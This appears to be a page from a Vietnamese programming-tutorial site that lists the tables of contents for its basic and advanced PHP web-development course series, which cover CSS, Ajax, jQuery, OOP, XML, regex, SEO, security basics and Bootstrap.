Tìm hiểu Hooks, thư viện riêng, core system, cache,…vấn đề khác
Bài 7: Mô hình HMVC và khái niệm Master Layout
Mô hình HMVC và khái niệm Master Layout
Bài 8: Các vấn đề mở rộng khác
Tích hợp và sử dụng thư viện Zend_Acl để phân quyền
Project Training: News system
Thiết lập cấu trúc HMVC, Master Layout, liệt kê thành viên
Thêm, xóa, sửa thành viên – Cảnh báo khi thực hiện thao tác
Đăng nhập, đăng xuất, liệt kê và xóa chuyên mục
Sửa chuyên mục và tích hợp jquery, ajax trong việc thêm chuyên mục
Thêm tin tức, tích hợp ckeditor, KCFinder, liệt kê, xóa, sửa tin tức
Hiển thị dữ liệu, menu đa cấp, đọc tin chi tiết
Xem tin theo chuyên mục, SEO link và xuất bản website lên hosting

Mục lục chuyên đề PHP Nâng cao

Sau khi bạn đã có nền tảng kỹ thuật lập trình PHP căn bản thì bạn hãy tự mình làm một Project bằng PHP thuần, nghĩa là bạn sẽ sử dụng những kiến thức căn bản để hiểu nguyên lý tạo một website. Lúc này bước tiếp theo của bạn là học lập trình PHP nâng cao. Nhưng vấn đề bây giờ là phải học thế nào để sau này bạn có thể tự mình nghiên cứu được?

Đối với những bạn được đào tạo bài bản trong các trường đại học, cao đẳng thì không có gì để bàn. Nhưng với những bạn ngoại đạo có đam mê lập trình và muốn tự học lập trình thì sẽ rất khó khăn cho bạn bởi những tài liệu hiện nay trên mạng chỉ trình bày đơn giản mà không nói rõ bản chất của vấn đề.

Nhưng bạn đang ở website học lập trình online freetuts.net nên những lo ngại đó sẽ được giải quyết. Tại đây series học lập trình PHP nâng cao này mình sẽ chú trọng giải thích bản chất của lập trình hướng đối tượng, kết hợp với các ví dụ để chắc chắn là bạn đã HIỂU cả lý thuyết lẫn thực hành. Những bài viết trong chuyên đề này mình đảm bảo sẽ không đụng hàng với các website học PHP khác (mình không nói bên C hay C++ bởi vì trên mạng có khá nhiều bài hay nói về lập trình hướng đối tượng).

Mình đã từng trải qua giai đoạn này nên hiểu bạn đang cần gì và thiếu gì. Có nhiều bạn đặt câu hỏi làm sao có thể tự nghiên cứu tốt được? Mình cũng không thể nào giải thích hết 100% được nhưng mình dám chắc với bạn rằng những bài viết dưới đây sẽ là một bàn đạp để bạn có thể tự học các kiến thức lập trình mới trong tương lai. Vậy còn chừng chờ gì nữa mà không tham gia vào chuyên đề học lập trình PHP nâng cao này nhỉ?

Mục lục:

Phần 1: CSS Nâng Cao
Các khái niệm cơ bản – Chi tiết các thuộc tính
Chi tiết các thuộc tính (tiếp theo)
Training: Thiết kế website với HTML và CSS
Training: Các kỹ thuật mở rộng và xây dựng website phức tạp
Phần 2: Lập trình Ajax
Lý thuyết lập trình Ajax và ví dụ cơ bản
Training: Xây dựng ứng dụng cơ bản với Ajax
Phần 3: Tìm hiểu thư viện Jquery
Jquery cơ bản và những ví dụ
Bài tập Jquery cơ bản
Lý thuyết Jquery Ajax và những ứng dụng
Phần 4: Lập trình hướng đối tượng
Lý thuyết lập trình hướng đối tượng và những ví dụ
Lý thuyết lập trình hướng đối tượng và những ví dụ (tiếp theo)
Training: Xây dựng ứng dụng theo mô hình oop
Training: Xây dựng ứng dụng theo mô hình oop (tiếp theo)
Phần 5: Tìm hiểu XML và PHP
Lý thuyết về các thẻ trong XML
Bài tập tổng hợp trong XML và tìm hiểu thư viện PHP DOM
Bài tập tổng hợp và tạo XML với PHP DOM
Tìm hiểu SimpleXML và training với XML
Phần 6: Các kỹ thuật mở rộng
Tìm hiểu khái niệm Json trong ứng dụng
Tìm hiểu Regular Expression Phần 1
Training: Sử dụng Regular Expression lấy tỷ giá, tin tức, nhạc phim từ website khác
Tìm hiểu Htaccess và kỹ thuật URL Rewrite
Tổ chức code và mô hình MVC trong ứng dụng
Phần 7: Tối ưu hóa website trên bộ máy tìm kiếm
Tổng quan về kiến thức SEO
Phần 8: Bảo mật ứng dụng web
Các lỗi tấn công thường gặp và cách phòng thủ
Phần 9: Viết ứng dụng thực tế
Xây dựng ứng dụng nhỏ với các kiến thức đã học
Update 1.1 : Chuyên đề Bootstrap Twitter và Sass
Làm quen với Bootstrap Twitter
Tương tác thư viện Javascript với Bootstrap Phần 01
Tương tác thư viện Javascript với Bootstrap Phần 02
Training: Viết ứng dụng hoàn chỉnh với Bootstrap Twitter
Tìm hiểu về Sass và cách sử dụng – Phần 1
Tìm hiểu về Sass và cách sử dụng – Phần 2

Mục lục học PHP căn bản cho người bắt đầu

Chào mừng bạn đến với chuyên đề học lập trình PHP căn bản, đây là một chuyên đề dành cho những bạn mới bắt đầu học lập trình php căn bản và muốn theo lĩnh vực lập trình Web PHP.

Trong chuyên đề này nội dung chủ yếu trình bày kiến thức liên quan đến kỹ thuật lập trình. Nếu bạn đã từng học qua một ngôn ngữ lập trình nào đó như Pascal, C, C++ thì rất dễ học PHP. Nhưng nếu bạn là người mới bắt đầu tìm hiểu lập trình thì hãy cố gắng gấp đôi nhé. Để học PHP tốt thì bạn phải có một nền tảng tốt, để có một nền tảng tốt thì bạn phải chịu khó học hỏi thì mới thành công. Và trong series này sẽ tổng hợp các bài viết về lập trình PHP căn bản được biên soạn bài bản step by step nên rất dễ học.

Ngoài PHP cơ bản ra thì bạn phải học thêm về MySQL, CSS, HTML và một số ngôn ngữ lập trình khác thì mới có thể đi làm được. Nhưng đừng lo lắng quá vì bạn là người mới bắt đầu nên cứ từ từ mà tiến, vội quá té đau. Cố gắng hiểu rõ bản chất của vấn đề thì bạn mới có khả năng mở rộng vấn đề đó được.

Ngoài nguồn học lập trình PHP căn bản này thì bạn có thể tham khảo thêm các nguồn học khác, đặc biệt là các video hoặc các khóa học online trên mạng, nó rất hữu ích với các bạn đấy. Nhưng mình tin chắc rằng nếu mình hoàn thành series này thì bạn sẽ không cần phải xem ở nơi khác nữa, vấn đề còn lại là thời gian.
Mục lục
Phần 1: Khái quát về HTML
Tổng quan về HTML
Phần 2: Ngôn ngữ lập trình PHP
Tổng quan về ngôn ngữ PHP
Biểu thức trong PHP
Thao tác làm việc trên form trong PHP
Tìm hiểu quy trình File và Mảng
Hàm và gọi lại hàm trong PHP
Quản lý phiên làm việc trong PHPy
Tổng quan về Mysql
Phần 3: Project Training – News System
Xây dựng trang đăng nhập quản trị
Xây dựng trang thêm, xóa, sửa, quản lý chuyên mục
Xây dựng trang thêm, xóa, sửa, quản lý thành viên
Xây dựng trang thêm, xóa, sửa, quản lý tin tức
Kỹ thuật phân trang cơ bản và nâng cao
Xây dựng các chức năng cho người đọc tin
Xây dựng Hệ thống quản lý thông tin trang
Xuất bản website trên internet
Phần 4: Các chức năng bổ sung nhỏ
Xây dựng chức năng bình chọn
Xây dựng chức năng thống kê số người truy cập
Xây dựng chức năng upload nhiều hình ảnh
Xây dựng chức năng tạo mã xác nhận
Xây dựng chức năng giỏ hàng